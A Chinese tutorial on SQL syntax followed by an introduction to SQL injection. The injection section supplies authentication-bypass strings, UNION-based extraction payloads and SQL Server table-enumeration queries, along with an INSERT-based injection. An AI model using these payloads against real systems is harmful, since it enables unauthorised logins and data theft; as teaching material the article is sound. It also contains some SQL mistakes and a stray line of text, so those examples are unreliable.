SQL语法全集
网络的应用和普及产生了大量的数据信息,这些数据信息多被存在数据库中。与数据库交流主要是通过SQL语言,然而对它的不熟悉和使用的模糊限制了开发者的工作效率,更严重的是,这可能会导致系统的危机。SQL使用方便,应用广泛,并且主流的关系型数据库都支持SQL的执行。正是因为SQL的使用便捷和应用广泛导致了SQL注入一出世就造成了巨大的影响。任何允许执行人工输入SQL语句的地方,就存在SQL注入的危险。因此,深层理解SQL和SQL注入,掌握SQL注入的执行原理和方法是极为重要的。
一、SQL纵览
SQL(Structured Query Language)语言是一种结构化查询语言,它的功能不仅是查询,具体说,它是一种通用的、功能强的关系型数据库语言。SQL语言中完成核心功能的有以下9个关键词:SELECT(数据查询),CREAT、DROP、ALTER(数据定义),INSERT、UPDATE、DELETE(数据操纵), GRANT、REVOKE(数据控制)。
1、数据定义部分
(1)创建基本表:
CREAT TABLE employee (Eno CHAR(6) NOT NULL UNIQUE,
Ename CHAR(20) UNIQUE,
E*** CHAR(2),
Eage INT,
Edept CHAR(10),
Espe CHAR(20));
该语句创建了一个名为employee的数据表,它共有六列,分别为字符型(长度为6,非空,唯一)的雇员号Eno,字符型(长度为20,唯一)的雇员姓名Ename,字符型(长度为2)的雇员性别,整型的雇员年龄,字符型(长度为10)的雇员部门,字符型(长度为20)的雇员特长。
(2)删除基本表:
DROP TABLE employee;
删除表employee,数据也一并删除,一旦执行成功不可逆,因此使用该条语句时要格外注意,最好使用事务处理、事前备份和确认提醒等。
(3)更改基本表:
ALTER TABLE employee ADD Esalary CHAR(5);
在雇员表中加入一列,字符型(长度为5)的雇员薪水
ALTER TABLE employee DROP UNIQUE(Ename);
去掉雇员表中雇员姓名列的唯一属性
ALTER TABLE employee MODIFY E*** CHAR(1);
把雇员表中的性别列改为一位字符型。
2、数据查询部分
数据查询部分是SQL语句中最灵活、功能最强的部分,对于查询语句的使用熟练程度和对查询结构的优化能力最能体现SQL编程人员的基本功。因此,该部分必须要给予足够的重视。现详述如下:
(1)基本查询语句:
SELECT Eno,Ename,E*** FROM employee;
查询employee表中的Eno,Ename,E***三列
SELECT * FROM employee;
查询employee表中的所有列
SELECT DISTINCT Eno FROM employee;
查询employee表中的Eno列,并去除重复行
(2)条件(WHERE)查询语句:
查询条件的连接词如下NOT,=,〉,〈,〉=,〈=,!=,〈〉,!〉,!〈(比较);BETWEEN AND,NOT BETWEEN AND (确定范围);IN,NOT IN(确定集合);LIKE,NOT LIKE(字符匹配);IS NULL,IS NOT NULL(空值);AND,OR(多条件连接)
1)比较
SELECT Eno FROM employee WHERE Eage 〈=25;;
列出雇员表中年龄小于25的雇员号
2)确定范围
SELECT Eno,Ename FROM employee
WHERE Eage [NOT]BETWEEN 20 AND 30;;
列出雇员表中年龄(不)在20到30的雇员号和姓名
3)确定集合
SELECT Eno,Ename FROM employee
WHERE Edept [NOT]IN(′SD′,′HD′);;
列出雇员表中(不)是软硬件开发部的雇员号和姓名
4)字符匹配
LIKE的用法如下:
[NOT]LIKE ′〈匹配模式〉′[ESCAPE ′〈换码符〉′]
通配符号有 % 和 _ 两种:
% :匹配任意长度的字符串(长度可为0)。a%b 可与ab,adfb等匹配。
_:匹配单个任意字符。a_b 可与a#b,a@b等匹配。
如果有ESCAPE,则跟在换码符号后的%或_不再是通配符号,只是正常的%或_。
例如:
SELECT * FROM employee WHERE Ename LIKE ′刘%′;
查找雇员表中姓刘雇员的信息
SELECT * FROM employee WHERE Ename LIKE ′刘_ _′;
查找雇员表中姓名为刘某(两个字)的雇员的信息(汉字占2个字符的位置)
SELECT * FROM employee WHERE Espe LIKE ′DB\_%t_′ESCAPE ′\′;
查找雇员表中特长项为DB_ 开始,倒数第二个字符为t的雇员信息
5)空值
SELECT * FROM employee WHERE Espe IS [NOT] NULL;
查找雇员表中特长项(不)为空的雇员信息
6)多条件连接
SELECT Ename FROM employee WHERE Edept=′SD′AND Eage 〈= 30;
列出雇员表中软件开发部30岁以下雇员的姓名
(3)结果排序
对查询的结果进行排序使用ORDER BY,ASC(默认)为升序,DESC为降序。
SELECT * FROM employee ORDER BY Edept,Eage DESC;
把所有雇员按部门升序,年龄降序排列(缺省是升序)
(4)结果分组
对查询结果的分组一般都要用到SQL的集函数,因此先介绍SQL的集函数。
SQL语言中的集函数主要有COUNT(统计总数),SUM(求总和),AVG(求均值),MAX(最大值),MIN(最小值)。
例如:
SELECT MAX(Eage) FROM employee WHERE Edept=′SD′;
列出软件开发部年纪最大雇员的姓名
SELECT Edept FROM employee GROUP BY Edept HAVING Count(*)〉10 ;
统计各部门的雇员数,只显示雇员数大于10的部门
SELECT Edept,COUNT(Eno) FROM employee GROUP BY Edept ;
统计各部门的雇员数,按部门分组列出各部门的雇员数
(5)连接查询
连接查询指的是查询涉及多个数据表,FROM后连接多个表的情况。假如我们要统计各个项目参加人的雇员号和姓名,涉及的表Eproject(雇员参加的项目)结构如下:
Eproject ( Eno CHAR(6),Pno CHAR(6),TimeBgn TIME,
TimeEnd TIME,Remark CHAR(50));
相应的查询语句为:
SELECT Eproject.Pno,employee.Eno,Ename,
FROM employee, Eproject
WHERE employee.Eno = Eproject.Eno
ORDER BY Eproject.Pno ;
列出参加各项目的雇员号和姓名,并按项目号升序排列。
(6)集合查询
集合查询指的是多个SELECT查询结果间进行的集合操作,主要有UNION(并操作)、INTERSECT(交操作)、MINUS(差操作)。其中标准SQL中没有提供交操作和差操作,但它们可以使用联合查询实现。假如我们要查询硬件开发部年龄不大于25岁的雇员,可以用集合查询实现如下:
SELECT * FROM employee WHERE Edept=′HD′
UNION SELECT * FROM employee WHERE Eage 〈= 25;
3、数据更新部分
SQL中的数据更新语句有INSERT,UPDATE和DELETE三种,用法如下:
Zabcdefghijklmnopqrstuvwxy
(1)插入数据
INSERT INTO employee
VALUES (′13253′,′王二′,′男′,23,′SD′, ′DB_Project′);;
向雇员表中插入一条完整的数据
INSERT INTO employee (Eno ,Ename)
VALUES (′13253′,′王二′);;
向雇员表中插入一条数据,只包含雇员号和姓名,其它列为空值
注意:以上情况,属性为非空的列一定不能为空值。
(2)修改数据
UPDATE employee SET Eage=24 WHERE Eno=′13253′;
将雇员表中13253号雇员年龄改为24岁
(3)删除数据
DELETE FROM employee WHERE Eno=′13253′;
将雇员表中13253号雇员信息删除
4、数据控制部分
(1)用户授权
SQL 的用户授权使用GRANT关键词,它的用法举例如下:
GRANT SELECT ON TABLE employee TO usr1;;
允许用户usr1查询表employee
GRANT ALL PRIVILEGES ON TABLE employee TO usr2;;
允许用户usr2对表employee的任何操作(查询,插入、更新、删除数据)
(2)收回权限
SQL 中收回用户权限使用REVOKE关键词,它的用法举例如下:
REVOKE UPDATE(Eno) ON TABLE employee FROM usr3;;
收回用户usr3更新表employee中Eno列的权力
REVOKE INSERT ON TABLE employee FROM PUBLIC;;
不允许所有用户在表employee中添加数据
二、SQL注入(SQL INJECTION)简介
自从SQL Injection被发现以来,人们通过大量的实验发现,它存在于任何允许执行SQL语句的地方。简单的说,SQL injection是一种源于SQL的漏洞,也可以说成是一种攻击方法,它利用程序对用户输入数据的检验不足或程序自身对变量处理不当,把想要执行的SQL语句插入到实际的SQL语句中发送给服务器去执行,后果轻则导致敏感信息泄漏,重则使整个服务器受控。
例如,某个登录系统(ASP+SQLServer)输入帐号和密码的SQL语句为:
SELECT * FROM member WHERE UID =′ "& request("ID") &" ′
AND Passwd =′ "& request("Pwd") & " ′
如果正常使用者的帐号user1,密码abcdefg12345,那么此时的SQL语句为:
SELECT * FROM member WHERE UID =′user1′ AND Passwd =′abcdefg12345′;;
在这里举三个SQL Injection的实例简单说明一下这种漏洞的原理:
1、帐号输入 user1′-- ,密码任意(如aaa),此时的SQL语句变为:
SELECT * FROM member WHERE UID =′user1′--′ AND Passwd =′aaa′
由于--之后的语句被忽略,AND字句被作为说明而失去了作用,用户user1就可以用任何密码登录系统。如果登录用户是系统管理员权限,后果就不堪设想了。
2、帐号输入′OR 1=1--,密码任意(如aaa),此时的SQL语句变为:
SELECT * FROM member WHERE UID =′′OR 1=1--′ AND Passwd =′aaa′
由于AND字句被作为说明而失去了作用,where字句返回为真,这个SQL语句就失去了鉴别作用。
3、帐号输入任意(如uuu) ,密码为aaa(任意)′OR 1=1--,此时的SQL语句变为:
SELECT * FROM member WHERE UID =′uuu′AND Passwd =′aaa′OR 1=1 --
由于--之后的语句被忽略,WHERE字句返回为真,该SQL语句就失去了鉴别作用。
三、SQL注入纵览
从最初的"1=1"型SQL注入,到现在的SQLServer存储过程和扩展存储过程注入,SQL注入迄今为止已经被发现数十种。总的来说,它的分类可以从SQL语言的自身进行,它可以分为授权旁路型、SELECT型、INSERT型、其它型(如SQLServer存储过程)。如前所述,SQL语言中的数据查询部分(SELECT语句)是SQL语句中最灵活、功能最强的部分,因此,该部分的SQL注入也种类繁多,主要有基本SELECT型、基本集合(UNION)型、语法错误型列举、匹配(LIKE)型、--结尾型等。现对于各种SQL注入分述如下:
1、授权旁路型
这种类型的SQL注入是最简单、最易理解的一种SQL注入,它主要存在于表格式登录系统。除了简介中所列出的几种之外,还有一种更直接的SQL注入,登录帐号和密码都为 ′OR "= ′,此时SQL语句变为
SELECT * FROM member WHERE UID =′′OR ′′=′′ AND Passwd =′′OR ′′=′′
显然,该SQL语句失去了鉴别功能。
2、SELECT型SQL注入
(1)基本SELECT型
基本SELECT型SQL注入分为直接型和引用型。直接型SQL注入指的是用户提交的数据直接被用在SQL查询中。如果在某个合法输入值后添加一个空格和OR,系统返回了一个错误,那么就可能存在直接型SQL注入。直接值的位置可能存在于WHERE子句中,如:
SQLString=" SELECT * FROM member WHERE UID = "& intUID
或者存在于某个SQL关键词中,如某个表名或列名:
SQLString=" SELECT * FROM member ORDER BY " & strColumn
而引用型的SQL注入指的是用户提交的数据被放在引号中提交。如:
SQLString=" SELECT * FROM member WHERE UID =′"& strUID & "′"
此时要注入的部分要以单引号开始,与之前的单引号匹配,结尾在WHERE子句后加单引号,与之后的单引号匹配。
(2)基本集合(UNION)型
基本集合型SQL注入是在WHERE子句中插入一个UNION SELECT语句,以达到执行注入部分的目的。例如目标SQL语句为:
SQLString=" SELECT Name,Sex,Title FROM member WHERE UID =′"& strColumn & "′"
使用的注入字串如下:
′UNION SELECT otherfield FROM othertable WHERE ′′= ′
这样一来,提交的查询语句就成了:
SELECT Name,Sex,Title FROM member WHERE UID =′′
UNION SELECT otherfield FROM othertable WHERE ′′= ′′
结果就有以下操作:数据库首先检索member表查找UID为空的行,由于不存在UID为空的行,所以没有返回记录。返回的记录存在于注入部分的查询。有时使用空值会不起作用,可能是表中空值被使用或被用于实现其他的功能。这种情况下,你唯一要做的就是构造一个决不会出现在表中的字串,只要它能使UNION SELECT之前不返回记录。
(3)语法错误型
对于某些数据库而言,返回的错误信息中包含了语法错误的部分,因此,通过制造语法错误(错误注入),可以得到很多有价值的信息。
构造的错误字符串有:′,错误值′,′错误值,′OR′,′OR,OR′,;等。
(4)圆括号型
如果返回的错误中包含圆括号,或者错误是丢失圆括号,那么就要在错误值和WHERE子句部分添加圆括号。例如目标SQL语句为
SQLStr=" SELECT Name,Sex,Title FROM member WHERE(UID =′"& strID & "′)"
使用的注入字串就要变为:
′)UNION SELECT otherfield FROM othertable WHERE ( ′′= ′
这样一来,提交的查询语句就成了:
SELECT Name,Sex,Title FROM member WHERE(UID =′′)
UNION SELECT otherfield FROM othertable WHERE ( ′′= ′′)
由于不存在UID为空的行,所以第一部分没有返回记录,返回的记录存在于注入部分的查询。
(5)LIKE型
LIKE型的SQL注入也很常见。如果返回错误中含有%,_或者LIKE等字眼,说明该系统存在LIKE型注入漏洞,用户提交的数据会被送给LIKE子句去执行。例如目标SQL语句为
SQLStr=" SELECT Name,Sex,Title FROM member WHERE Name LIKE′%"& strColumn & "%′"
而使用的注入字串为:
′UNION SELECT otherfield FROM othertable WHERE ′%37′= ′
得到提交的查询语句为:
SELECT Name,Sex,Title FROM member WHERE Name LIKE′%′
UNION SELECT otherfield FROM othertable WHERE ′%′= ′%′
显然,第一部分返回为表member的所有记录,第二部分为用户想要得到的记录,最终得到就是用户想要的记录。
(6)错误结尾
有些时候,当尝试了许多注入方法后,返回依旧是错误。这说明目标SQL语句可能并不像所猜测的那样简单,它可能存在子查询或连接查询等复杂的情况。这时,对于SQLServer,由于;”之后的语句会被忽略,所以要在注入的SQL语句末尾,加上;;;- -”。
(7)连接查询
如果目标SQL语句为
SQLStr=" SELECT Name,Sex,Title FROM member
WHERE UID =′"& strID & "′AND Sex=′Female′"
如果使用的注入字串为:
′UNION SELECT otherfield FROM othertable WHERE ′′= ′
这样一来,提交的查询语句就成了:
SELECT Name,Sex,Title FROM member WHERE UID =′′
UNION SELECT otherfield FROM othertable WHERE ′′= ′′AND Sex=′Female′
由于othertable中不一定存在名为Sex的列,所以可能会返回;Invalid column name Sex”的错误。对于SQLServer而言,在系统表sysobjects中存有库中所有表的列名,所以,使用SELECT name FROM sysobjects WHERE xtype=′U′可以返回库中所有用户定义表的表名。
在这种情况下,构造的SQL注入语句要成为以下结构:
SELECT name FROM syscolumns
WHERE id=(SELECT id FROM sysobjects WHERE name=′TableName′)
3、INSERT型SQL注入
INSERT执行在数据库中增加列的功能,它用在用户注册,发表言论,网上购物等许多地方。由于它直接改变数据库的数据,所以使用INSERT型注入比SELECT型更危险。对于攻击者而言,如果使用INSERT型注入的语句出现错误,可能因为在数据库中产生一串单引号而被检测到。所以,使用INSERT型SQL注入要格外小心。
例如目标SQL语句为(注册项为姓名,性别,邮箱)
SQLStr="INSERT INTO TableName
VALUES(′"& strName & "′,′"& strSex & "′,′"& strEmail & "′)"
如下填表:
姓名:′+ SELECT TOP 1 FieldName FROM TableName+′
性别:Male
这样,提交的SQL语句为:
INSERT INTO TableName VALUES
(′′+ SELECT TOP 1 FieldName FROM TableName+′′,′Male′,′aaa@yahoo.com′)
在返回的注册信息中,就可以找到表TableName中的FieldName的值。
由于SQL语言的设计思想就是要使用灵活,所以各种各样的SQL注入方法也会层出不穷。但是总的来说,只要对SQL语言足够熟悉,并且时刻注意SQL注入的危险,至少已经向安全迈出了第一步。